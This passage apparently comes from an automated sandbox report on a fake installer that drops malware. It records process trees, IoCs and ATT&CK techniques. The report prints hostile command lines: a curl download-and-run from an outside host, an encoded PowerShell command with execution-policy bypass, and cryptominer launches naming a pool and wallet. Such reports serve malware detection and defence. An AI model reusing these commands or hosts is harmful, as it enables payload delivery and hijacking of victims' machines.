3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe

Suspicious use of SetWindowsHookEx 17 IoCs

pid	Process
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3168	explorer.exe
3168	explorer.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 612	3024	chrome.exe	87
PID 3024 wrote to memory of 4636	3024	chrome.exe	89
PID 3024 wrote to memory of 2808	3024	chrome.exe	92
PID 3024 wrote to memory of 2972	3024	chrome.exe	94
PID 3024 wrote to memory of 2808	3024	chrome.exe	92
PID 3024 wrote to memory of 2972	3024	chrome.exe	94
PID 3024 wrote to memory of 2696	3024	chrome.exe	93
PID 3024 wrote to memory of 2696	3024	chrome.exe	93
PID 3024 wrote to memory of 5704	3024	chrome.exe	91
PID 3024 wrote to memory of 5704	3024	chrome.exe	91
PID 3024 wrote to memory of 1996	3024	chrome.exe	95
PID 3024 wrote to memory of 1996	3024	chrome.exe	95
PID 3024 wrote to memory of 4944	3024	chrome.exe	96
PID 3024 wrote to memory of 4408	3024	chrome.exe	98
PID 3024 wrote to memory of 4408	3024	chrome.exe	98
PID 3024 wrote to memory of 4768	3024	chrome.exe	99
PID 3024 wrote to memory of 4768	3024	chrome.exe	99
PID 3024 wrote to memory of 200	3024	chrome.exe	102
PID 3024 wrote to memory of 200	3024	chrome.exe	102
PID 3024 wrote to memory of 3084	3024	chrome.exe	103
PID 3024 wrote to memory of 3084	3024	chrome.exe	103
PID 3024 wrote to memory of 2432	3024	chrome.exe	104
PID 3024 wrote to memory of 3664	3024	chrome.exe	105
PID 3024 wrote to memory of 2432	3024	chrome.exe	104
PID 3024 wrote to memory of 3664	3024	chrome.exe	105
PID 3024 wrote to memory of 1364	3024	chrome.exe	106
PID 3024 wrote to memory of 1364	3024	chrome.exe	106
PID 3024 wrote to memory of 3196	3024	chrome.exe	107
PID 3024 wrote to memory of 3196	3024	chrome.exe	107
PID 3024 wrote to memory of 2968	3024	chrome.exe	108
PID 3024 wrote to memory of 2968	3024	chrome.exe	108
PID 3024 wrote to memory of 5924	3024	chrome.exe	109
PID 3024 wrote to memory of 5924	3024	chrome.exe	109
PID 3024 wrote to memory of 1504	3024	chrome.exe	110
PID 3024 wrote to memory of 1504	3024	chrome.exe	110
PID 3024 wrote to memory of 4152	3024	chrome.exe	111
PID 3024 wrote to memory of 2988	3024	chrome.exe	112
PID 3024 wrote to memory of 3548	3024	chrome.exe	113
PID 3024 wrote to memory of 1076	3024	chrome.exe	115
PID 3024 wrote to memory of 1076	3024	chrome.exe	115
PID 3024 wrote to memory of 5348	3024	chrome.exe	116
PID 3024 wrote to memory of 5348	3024	chrome.exe	116
PID 3024 wrote to memory of 1996	3024	chrome.exe	117
PID 5888 wrote to memory of 3980	5888	Setup.exe	123
PID 3980 wrote to memory of 3168	3980	t1newtest.exe	80
PID 3980 wrote to memory of 3168	3980	t1newtest.exe	80
PID 3980 wrote to memory of 3168	3980	t1newtest.exe	80
PID 3168 wrote to memory of 3232	3168	explorer.exe	125
PID 3168 wrote to memory of 4780	3168	explorer.exe	127
PID 3168 wrote to memory of 4000	3168	explorer.exe	129
PID 4000 wrote to memory of 4068	4000	0e5c629a0.exe	130
PID 3168 wrote to memory of 4360	3168	explorer.exe
PID 5888 wrote to memory of 5696	5888	Setup.exe	135
PID 5888 wrote to memory of 1252	5888	Setup.exe	136
PID 5696 wrote to memory of 1968	5696	os0B7myi9Feq7Lw09L11.exe	137
PID 3168 wrote to memory of 2008	3168	explorer.exe
PID 4000 wrote to memory of 4636	4000	0e5c629a0.exe	140
PID 4636 wrote to memory of 3520	4636	cfgmonitor5639_d49a.exe	141
PID 4636 wrote to memory of 2052	4636	cfgmonitor5639_d49a.exe	142
PID 4636 wrote to memory of 1212	4636	cfgmonitor5639_d49a.exe	143
PID 4636 wrote to memory of 4548	4636	cfgmonitor5639_d49a.exe	144
PID 4636 wrote to memory of 4520	4636	cfgmonitor5639_d49a.exe	145
PID 4636 wrote to memory of 4860	4636	cfgmonitor5639_d49a.exe	146
PID 4636 wrote to memory of 4784	4636	cfgmonitor5639_d49a.exe	147

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	81	curl/8.8.0

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
- Drops file in Program Files directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3168
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://pesktop.com
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3024
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffc72e1c728,0x7ffc72e1c734,0x7ffc72e1c740
    3⤵
    PID:612
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1480,i,16197747963127545316,17218339155827320020,524288 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=2072 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4636
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,10121602651957435349,9752695786093418406,262144 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=2028 /prefetch:2
    3⤵
    PID:5704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2240,i,10044880750246904822,9842904894339079297,524288 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=3064 /prefetch:13
    3⤵
    PID:2808
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2876,i,10175551793495880245,13182280717953248220,2097152 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=3060 /prefetch:1
    3⤵
    PID:2696
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2884,i,12331953337834808633,14299851889659480035,2097152 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=3100 /prefetch:1
    3⤵
    PID:2972
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4700,i,6147867379596980818,6074616643337396804,2097152 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:1
    3⤵
    PID:1996
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5272,i,18284533445604719197,16879694856520461986,524288 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=5268 /prefetch:14
    3⤵
    PID:4944
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5352,i,1819529034134185079,6956424064479209566,2097152 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=5404 /prefetch:1
    3⤵
    PID:4408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5400,i,4610282493303588534,8990811468255554900,2097152 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=5428 /prefetch:1
    3⤵
    PID:4768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5684,i,5820014902198298222,4738985007830955819,2097152 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=5836 /prefetch:1
    3⤵
    PID:200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5344,i,6115222517590033829,2739061373286173061,2097152 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:1
    3⤵
    PID:3084
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5672,i,16965121219613982337,17780672555998510526,2097152 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:1
    3⤵
    PID:2432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5692,i,11044566384896097978,12794933713541767125,2097152 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:1
    3⤵
    PID:3664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5980,i,6634912523304154883,15640233684515292148,2097152 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:1
    3⤵
    PID:1364
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5600,i,16063731808736314515,5367157285798265137,2097152 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=5520 /prefetch:1
    3⤵
    PID:3196
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5520,i,8312060666422824799,16676088821738757462,2097152 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=4792 /prefetch:1
    3⤵
    PID:2968
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5560,i,4793887204410362151,2954377259139192984,2097152 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:1
    3⤵
    PID:5924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5956,i,13208790985610396330,209084664792239089,2097152 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=5296 /prefetch:1
    3⤵
    PID:1504
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6260,i,17496598308343210491,12820928354857684673,524288 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=256 /prefetch:14
    3⤵
    PID:4152
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6264,i,16967161707391904875,17386627181924226069,524288 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:14
    3⤵
    PID:2988
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6268,i,16393849080318982404,5369296595920342003,524288 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=6356 /prefetch:14
    3⤵
    PID:3548
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=5860,i,7013101830759165450,16844904535325770957,2097152 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=6356 /prefetch:1
    3⤵
    PID:1076
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=3068,i,4911278205289232452,3580408441188320052,2097152 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=3392 /prefetch:1
    3⤵
    PID:5348
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6468,i,12198307204903302001,11936451596891711740,524288 --field-trial-handle=2032,i,7920428971694076424,14142404579280346132,262144 --variations-seed-version --mojo-platform-channel-handle=6284 /prefetch:14
    3⤵
    PID:1996
- C:\Users\Admin\Downloads\SETUP_lNSTALLER_(KEY.5676)\𝙎𝙀𝙏𝙐𝙋_𝙡𝙉𝙎𝙏𝘼𝙇𝙇𝙀𝙍\SETUP\Setup.exe
  "C:\Users\Admin\Downloads\SETUP_lNSTALLER_(KEY.5676)\𝙎𝙀𝙏𝙐𝙋_𝙡𝙉𝙎𝙏𝘼𝙇𝙇𝙀𝙍\SETUP\Setup.exe"
  2⤵
  - Downloads MZ/PE file
  - Suspicious use of WriteProcessMemory
  PID:5888
- - C:\Users\Admin\AppData\Local\Temp\t1newtest.exe
    "C:\Users\Admin\AppData\Local\Temp\t1newtest.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:3980
- - C:\Users\Admin\AppData\Local\Temp\os0B7myi9Feq7Lw09L11.exe
    "C:\Users\Admin\AppData\Local\Temp\os0B7myi9Feq7Lw09L11.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5696
  - - C:\Users\Admin\AppData\Local\Temp\n2x1i79hczza\Xsywaz32.exe
      "C:\Users\Admin\AppData\Local\Temp\n2x1i79hczza\Xsywaz32.exe"
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      PID:1968
- - C:\Users\Admin\AppData\Local\Temp\ss16X6aHTHo51qmamyqio.exe
    "C:\Users\Admin\AppData\Local\Temp\ss16X6aHTHo51qmamyqio.exe" 45.151.100.245 30 85.203.46.129:89317021ca7753b820d6a9cdf34f676c 45867 3Xxrh8tX kYqQjG3L
    3⤵
    - Creates a file in the Startup directory
    - Executes dropped EXE
    PID:1252
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  - Checks SCSI registry key(s)
  - Checks processor information in registry
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:3232
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -fs -o "C:\Users\Admin\AppData\Local\Temp\0e5c629a0.exe" "https://cloudflare.gd/pyvs.exe"
  2⤵
  - Downloads MZ/PE file
  PID:4780
- C:\Users\Admin\AppData\Local\Temp\0e5c629a0.exe
  "C:\Users\Admin\AppData\Local\Temp\0e5c629a0.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAD0AWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAoACQAaQBuAHAAdQB0AHwATwB1AHQALQBTAHQAcgBpAG4AZwApACkAOwAmACQAcwAgAC4AXABkAGUAZgAuAHAAcwAxACAAQwA6AFwA
    3⤵
    PID:4068
- - C:\Users\Admin\AppData\Roaming\Mozilla\Updates\Services\Runtime\cfgmonitor5639_d49a.exe
    "C:\Users\Admin\AppData\Roaming\Mozilla\Updates\Services\Runtime\cfgmonitor5639_d49a.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Downloads MZ/PE file
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Reads the TCP/IP host and domain name from the registry
    - Checks processor information in registry
    - Suspicious use of WriteProcessMemory
    PID:4636
- C:\Windows\system32\notepad.exe
  "C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e724440064e310b02054029051e01182011011d40311602535a75574d441b615c5818171001140f58183c2e19250a2019195b33502e2439322c3f2f2224353c1d292b052e33082a001c0e09071c382c5604333c3d2a142107023e0a562a510319002851092205180d08795c040e1d1605211d26041d233c3c75365c3d5d394440194e71535c584e6c4919051d6149400a1e34490008166c10051b0b20001e4406280a19545d714440084e331c4259
  2⤵
  PID:3520
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9443 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:2052
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9443 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:1212
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9443 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:4548
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9443 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:4520
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9443 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:4860
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9443 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:4784
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9443 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:3080
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9443 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:2064
- C:\Windows\system32\notepad.exe
  "C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e724440064e310b02054029051e01182011011d40311602535a75574d441b615c5818171001140f58183c2e19250a2019195b33502e2439322c3f2f2224353c1d292b052e33082a001c0e09071c382c5604333c3d2a142107023e0a562a510319002851092205180d08795c040e1d1605211d26041d233c3c75365c3d5d394440194e71535c584e6c4919051d6149400a1e34490008166c10051b0b20001e4406280a19545d714440084e331c4259
  2⤵
  PID:4616
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9443 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:3792
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9443 --worker test --user prl1pnpw6q3s33spxcystr43gelja8aehpurlv2279qag5ukcmty2vsmq9kvl92 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:5404

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2044

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1216

C:\Users\Admin\AppData\Roaming\Mozilla\Updates\Services\0e5c629a0.exe
C:\Users\Admin\AppData\Roaming\Mozilla\Updates\Services\0e5c629a0.exe
1⤵
- Executes dropped EXE
PID:1792

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe
1⤵
PID:1508

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

